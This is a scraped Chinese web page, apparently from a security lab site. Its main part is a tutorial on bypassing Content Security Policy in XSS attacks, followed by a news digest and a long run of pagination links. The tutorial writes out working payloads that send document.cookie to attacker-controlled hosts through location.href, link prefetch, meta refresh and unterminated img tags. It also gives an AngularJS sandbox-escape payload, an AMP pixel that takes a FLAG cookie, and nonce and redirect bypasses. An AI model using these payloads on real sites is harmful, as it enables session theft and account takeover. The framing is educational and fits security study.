<!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['a'])) { echo "Your GET content".@$_GET['a']; }// ?> 这个地方可以用location跳转:location.href(window.location/window.open)绕过 exp ?a=<script>location.href="http://127.0.0.1"+document.cookie;</script> 在我们已经可以执行任意js脚本但由于CSP的阻拦我们的cookie无法带外传输,就可以用此方法 location.href = "vps_ip:xxxx?"+document.cookie 可以执行任意js脚本,但由于CSP无法数据外带 CSP为script-src 'unsafe-inline' link标签预加载导致的绕过 这是个老办法了,在大部分浏览器都已经约束了该标签,但是老浏览器可能还可行 <!-- firefox --> <link rel="dns-prefetch" href="//${cookie}.vps_ip"> <!-- chrome --> <link rel="prefetch" href="//vps_ip?${cookie}"> 那我们该如何将数据外带呢 动态构建元素,再引发页面跳转 var link = document.createElement("link"); link.setAttribute("rel", "prefetch"); link.setAttribute("href", "//vps_ip/?" + document.cookie); document.head.appendChild(link); 这样就可以将cookie外带了 可以执行任意js脚本,但由于CSP无法外带数据 meta网页跳转绕过 与link标签原理相似,利用meta标签实现网页跳转 http://127.0.0.1/csp.php?xss==<meta http-equiv="refresh" content="1;url=http://150.158.188.194:7890/" > 除此之外,meta标签还有一些不常用的功能有时也能起奇效 meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。 <meta http-equiv="cache-control" content="public"> meta可以设置Cookie(Firefox下),可以结合self-xss利用 <meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/"> meta这一被很多人忽略的标签,其实可以做到的东西也不少,后面有机会会进一步分析 iframe绕过 iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问,这其中就有安全问题了,但是今天要用到的并不是这些 在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制适iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。 同源 这才是主角,当一个同源站点存在两个页面,我们称它们为A页面和B页面,假如A页面有CSP保护,而B页面没有,我们就可以直接在B页面新建iframe用js操作A页面的DOM,也就是说A页面的CSP防护完全失效 demo&exp <!-- A页面 --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> <h1 id="flag">flag{0xffff}</h1> <!-- B页面 --> <!-- 下面模拟XSS --> <body> <script> var iframe = document.createElement('iframe'); iframe.src="http://127.0.0.1/a.php"; document.body.appendChild(iframe) setTimeout是为了等待iframe加载完成 你以为就这样就完了?那你果然和我一样天真了 在找CSP绕过相关资料时,还发现了个好玩的东西(https://www.jianshu.com/p/f1de775bc43e) 在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。 <iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe> 一个同源站点存在两个页面,其中一个有CSP保护,一个没有且存在xss漏洞 我们要的数据在存在CSP保护的页面中 CDN绕过 一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险 这里借Orange大神绕过hackmd CSP的文章(https://paper.seebug.org/855/)来分析一波 demo 先来看hackmd的CSP策略 content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disq 看到了unsafe-eval这个关键字,可以想到Breaking XSS mitigations via Script Gadgets手法,但我们继续往下看就会发现,其实没这么复杂,因为该CSP政策还允许了https://cdnjs.cloudflare.com/这个js hosting服务,这个提供了很多第三方的函数库以供引入,这样我们就可以直接借助AngularJS 函数库以及Client-Side Template Injection里面成熟的沙盒逃逸技术绕过 再因为原本WAF对注释的完全可信,可以构造出<!-- foo="bar--><script>alert(1)</script>>" -->这一payload,用-->来闭合前面的注释,来让后面内容完全可控 两者结合,得出最终payload exp <!-- foo="--> <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> </script> <div ng-app> {{constructor.constructor('alert(document.cookie)')()}} </div> //sssss" --> 详细内容看Orange师傅的文章 如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp <div data-role=popup id='<script>alert(1)</script>'></div> 还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie <amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel> 总而言之,这一绕过方法主要可以套用网上相应的payload格式来绕过CSP,在https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf中总结了可以被用来CDN绕过的一些JS库,可以用作参考 CDN服务商存在低版本的js库 该CDN服务商在CSP白名单中 站点可控静态资源绕过 给一个绕过codimd的(实例)https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_&_Bypass_CSP.md 案例中codimd的CSP中使用了http://www.google-analytics.com 而http://www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP demo <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"> <script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script> exp 同理,在其他站点提供了可控静态资源的功能时,且CSP中允许了此站点,就可以用该方式绕过 存在可控静态资源 站点在CSP允许名单中 不完整script标签绕过 我们先来了解一个小知识(敲黑板):当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性 好,我们开搞 demo1 <?php header("X-XSS-Protection:0");?> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'"> <?php echo $_GET['xss']?> <script nonce='xxxxx'> //do some thing </script> exp 当我们输入http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1),我们可以发现<script就会被变成一个属性,值为空,之后的nonce='xxxxx' 会被当成我们输入的script标签中的一个属性,成功绕过script-src demo2 但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行 https://xzfile.aliyuncs.com/media/upload/picture/20190511094533-772405ea-738e-1.png exp 这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略 <!-- 3.php --> <h1 a="123" b="456" a="789" a="abc">123</h1> https://xzfile.aliyuncs.com/media/upload/picture/20190511094533-772ac830-738e-1.png于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a= 先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行 https://xzfile.aliyuncs.com/media/ 可控点在合法script标签上方,且其中没有其他标签 XSS页面的CSP script-src只采用了nonce方式 不完整的资源标签获取资源 demo <meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"> <?php echo $_GET['xss']?> <h1>flag{0xffff}</h1> <h2 id="id">3</h2> 这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见,虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出 exp http://127.0.0.1/csp.php?xss=<img src="//vps_ip?a= 此时由于我们传入的src的引号没有闭合,html解析器会一直寻找第二个引号,而直到”id“前的引号出现之前,所有内容都会被当作src的值发送到我们的vps上 需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或< 可以加载外域资源 (img-src: *) 需要获取页面某处的信息 302(重定向)绕过 很多时候一个网站都会带有一个302跳转功能的页面,用它来导向到本站的资源或者是外部的链接 我们首先看一下w3c文档里关于重定向的说明https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects 很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。 接下来就来模拟分析一波 demo <!-- csp.php --> <?php header("Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/"); ?> <html> <head> </head> <body> csp header test </body> </html> <!-- redirect.php --> <?php header("Location: " . $_GET[url]); ?> <!-- test.php --> <!DOCTYPE html> <html> <head> <title>1</tit csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本是可以通过csp的检查的 exp http://127.0.0.1/a/redirect.php?url=/b/test.php 但这是有一个很严格的条件的,加载的资源所在的域必须和自身处于同域下(example.com),也就是不可能通过302跳转去加载一个其他域下的脚本的,比如通过a.com的302跳转去加载b.com下的脚本是不可以 但!又来个但是了,在实际环境中,比如某个站调用某个cdn,或者类似于script-src example.com/scripts/ google.com/recaptcha/,google.com/script/*下有个evil.js,然后刚好站内有个重定向,漏洞条件就已经成立了。 在script-src允许的域下,需要存在一个重定向的页面,这种页面大多存在于登陆,退出登录 在script-src允许的域下,存在某个任意文件的上传点(任意目录) 有特别的方式可以跨域发送请求,或者有站内域可以接受请求 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
网络安全日报 2021年04月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、FBI / DHS针对俄罗斯黑客入侵联合发布防御指南 https://www.securityweek.com/fbidhs-issue-guidance-network-defenders-mitigate-russian-gov-hacking2、美国空军采用零信任来改善和保护其飞行线路运营 https://www.securityweek.com/us-air-force-adopts-zero-trust-secure-flightline-operations3、Adobe发布开源异常检测工具“ OSAS” https://www.securityweek.com/adobe-releases-open-source-anomaly-detection-tool-osas4、Eaton产品中存在可允许黑客破坏电源的漏洞 https://www.securityweek.com/vulnerabilities-eaton-product-can-allow-hackers-disrupt-power-supply5、Apple修补了“ Shlayer”恶意软件利用的macOS安全绕过漏洞 https://www.securityweek.com/apple-patches-macos-security-bypass-vulnerability-exploited-shlayer-malware6、奥尔巴尼附近的Guilderland中央学区遭勒索软件攻击 https://securityaffairs.co/wordpress/117281/cyber-crime/school-district-albany-ransomware.html7、Microsoft Defender使用Intel TDT技术来对抗挖矿恶意软件 https://securityaffairs.co/wordpress/117272/security/microsoft-defender-tdt.html8、FBI与HIBP共享了Emotet恶意活动中的400万个电子邮件地址 https://securityaffairs.co/wordpress/117294/malware/emotet-hibp.html9、哥伦比亚特区大都会警察局遭勒索软件攻击 https://thehackernews.com/2021/04/hackers-threaten-to-leak-dc-police.html10、Nvidia披露GPU驱动和vGPU软件中存在严重漏洞 https://threatpost.com/nvidia-security-bugs-gpu-vgpu/165597/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页